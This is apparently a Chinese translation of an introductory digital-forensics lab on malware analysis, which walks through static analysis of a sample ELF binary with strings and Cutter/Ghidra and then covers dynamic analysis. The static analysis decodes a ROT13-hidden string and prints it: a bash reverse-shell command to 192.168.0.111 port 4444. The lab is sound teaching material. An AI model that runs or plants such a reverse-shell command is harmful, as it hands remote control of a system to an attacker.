恶意软件分析

恶意软件,简称为malware,是一个用来描述对用户、计算机、网络或设备造成损害或伤害的任何软件的术语。恶意软件可以采取多种形式,包括病毒、特洛伊木马、蠕虫、间谍软件、广告软件和勒索软件。

随着对技术和互联网的依赖日益增加,恶意软件已经成为对个人和组织都普遍存在的威胁,导致经济损失、数据泄露和系统损害。因此,恶意软件分析已经成为数字取证中的一项关键技能,帮助识别和减轻这些威胁。

这个实验室作为介绍用于分析和理解恶意软件功能和行为的不同技术和工具的入门。

什么是恶意软件分析?

引用书籍《Practical Malware Analysis》(实用恶意软件分析)中的话:

恶意软件分析是解剖恶意软件以理解其工作原理、如何识别它以及如何击败或消除它的艺术。而且,你不需要成为一个超级黑客就能进行恶意软件分析。

简单来说,恶意软件分析是对恶意软件进行分析和理解的过程,以识别其行为、特征以及对系统的潜在影响。

在分析恶意软件时,我们可以采取两种方法:静态分析和动态分析。

静态分析

静态分析涉及检查二进制代码、反汇编代码和逆向工程。静态分析的目标是获得高层次的抽象,并确定代码是否可能具有恶意。它对于识别已知的恶意软件家族以及开发防病毒签名和其他检测方法非常有用。

动态分析

动态分析是通过在隔离环境中执行恶意软件并观察其行为来分析恶意软件的方法,例如监视它所做的系统调用、它建立的网络连接以及它在系统内的其他交互。它特别有助于理解恶意软件如何与系统交互以及它被设计来做什么。

💡 这两种方法之间的关键区别在于,静态分析涉及在不执行恶意软件的情况下检查其代码,而动态分析涉及在隔离环境中运行恶意软件以观察其行为。

实践操作

现在我们已经对静态和动态分析有了基本的了解,让我们在实践中尝试它们。我们将要分析的二进制文件本质上是可在 https://github.com/vonderchild/digital-forensics-lab/blob/main/Lab 07/files/main.c 找到的C代码的编译版本。

要开始,我们可以使用以下命令下载编译后的二进制文件:

1
wget https://github.com/vonderchild/digital-forensics-lab/raw/main/Lab%2007/files/main

初始分析

在我们开始对二进制文件进行详细分析之前,重要的是要识别我们正在处理的文件类型,并提取像嵌入的URL、硬编码的IP地址或包含可疑关键字的字符串这样的明显信息。

为了识别我们正在处理的文件类型,让我们运行文件命令:

1
2
$ file main
main: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=ba2f226142eb8b7032264aab8c3386d1487bcb17, for GNU/Linux 3.2.0, not stripped

它看起来这个二进制文件是使用GNU编译器编译的。让我们使用strings命令从二进制文件中提取所有人类可读的字符串:

1
2
3
4
5
6
7
8
9
10
11
12
$ strings main 
<SNIP>

onfu -p H
'onfu -vH
>& /qriH
/gpc/192H
.168.0.1H
11/4444 H
0>&1f

<SNIP>

正如我们所见,一些提取出的字符串包含了IP地址192.168.0.111的一部分。

在初始分析期间经常使用的其他技术包括检查文件是否被打包或压缩,以及在VirusTotal等平台上搜索文件签名,以查看该文件是否已经被分析过。

💡 VirusTotal是一个平台,允许我们分析可疑的文件、域名、IP地址和URL,以检测和分析恶意软件,并自动将其与安全社区共享。

静态分析

对于静态分析,我们将使用Cutter,这是一个可以反汇编和反编译二进制文件的逆向工程工具。Cutter还提供了一个用于动态分析的调试器,尽管截至撰写本文时,它仍处于测试阶段。

要下载并运行Cutter,请执行以下命令:

1
2
3
4
wget https://github.com/rizinorg/cutter/releases/download/v2.2.0/Cutter-v2.2.0-Linux-x86_64.AppImage
chmod +x Cutter-v2.2.0-Linux-x86_64.AppImage
./Cutter-v2.2.0-Linux-x86_64.AppImage --appimage-extract
./squashfs-root/AppRun
  • 在应用程序启动后(可选择中文,选择中文后,点击关闭,再次打开,即显示中文),点击“选择”,并打开你之前下载的主二进制文件:

  • 在此之后,点击“打开”,在“加载选项”窗口中,点击“确定”。

  • 这应该会带您到显示我们正在分析的二进制文件概览的仪表板标签页,包括其格式、文件类型、编程语言、架构和哈希值。

  • 要检查函数的代码,我们可以在左侧窗格中双击函数名称,它应该会显示代码的反汇编版本。

  • 要查看同一函数的反编译 C 代码,请从底部窗格中选择 Decompile,然后从右下角选择 Ghidra。

似乎 main 函数从声明一些变量开始,然后为它们分配一些值并调用 caesar_decode 函数,之后 system 函数被调用,然后最终返回 main 函数。

🚧 反编译的代码可能看起来比原始源代码更复杂,因为它缺少原始源代码中的高级抽象、注释和变量名称,使其更难理解。

现在让我们来看看 caesar_decode。

顾名思义, caesar_decode 将 input 指针指向 char type 和 type 键 int,然后它通过遍历数组并利用凯撒密码来解码数组。

在 main 函数中,我们看到 caesar_decode 使用两个参数调用 — 指向字符串的指针和 0xd,翻译为 13 十进制。

因此,我们可以推断 Caesar 密码中使用的密钥是 13,我们可以使用 CyberChef 从字符串的十六进制表示中解码:

这表明字符串 bash -c ‘bash -i >& /dev/tcp/192.168.0.111/4444’ 0>&1 作为输入传递给 system 函数,然后执行它以建立反向 shell 连接。

动态分析

对于动态分析,我们可以利用以下工具 strace 或 ltrace 监视二进制文件在运行时进行的系统调用和库调用。此外,我们还可以使用以下工具 Wireshark 或 tcpdump 监视二进制文件生成的网络流量。

在backbox环境下,使用上述命令进行模拟,未实现分析效果。

虽然我们特定的二进制文件似乎没有进行任何库调用,但这种技术通常很有用。

执行动态分析的另一种方法是使用 Wireshark 监控网络流量。为此,我们可以开始捕获数据包,然后执行二进制文件。这将使我们能够观察二进制文件建立的任何网络连接,并分析正在发送和接收的数据。

可以使用沙箱进行模拟,捕获终端系统调用及库的调用,也可以捕获网络行为

使用VirusTotal

结论

总之,我们已经探索了恶意软件分析的基础知识,并学习了如何使用一些基本技术进行静态分析和动态分析。然而,需要注意的是,还有许多其他可用的工具,例如:

  • Ghidra
  • Radare2
  • IDA
  • GDB
  • Procmon
  • Process Hacker

这些工具具有多种功能,可以帮助进行恶意软件分析,并提供对恶意软件行为的更深入的洞察。例如,Ghidra是一个强大的逆向工程工具,可以用来反汇编和反编译二进制文件。Radare2是一个支持多种架构和文件格式的开源逆向工程框架。IDA是一个流行的反汇编器和调试器,提供交叉引用和函数签名等高级功能。GDB是Linux系统广泛使用的调试器,允许对运行中的程序进行低级调试。Procmon和Process Hacker可以用来实时监控系统活动,这对于检测试图隐藏其活动的恶意软件非常有用。

虽然我们在这个实验室中只触及了恶意软件分析的皮毛,但重要的是要注意,还有许多更先进的工具和方法论可以探索。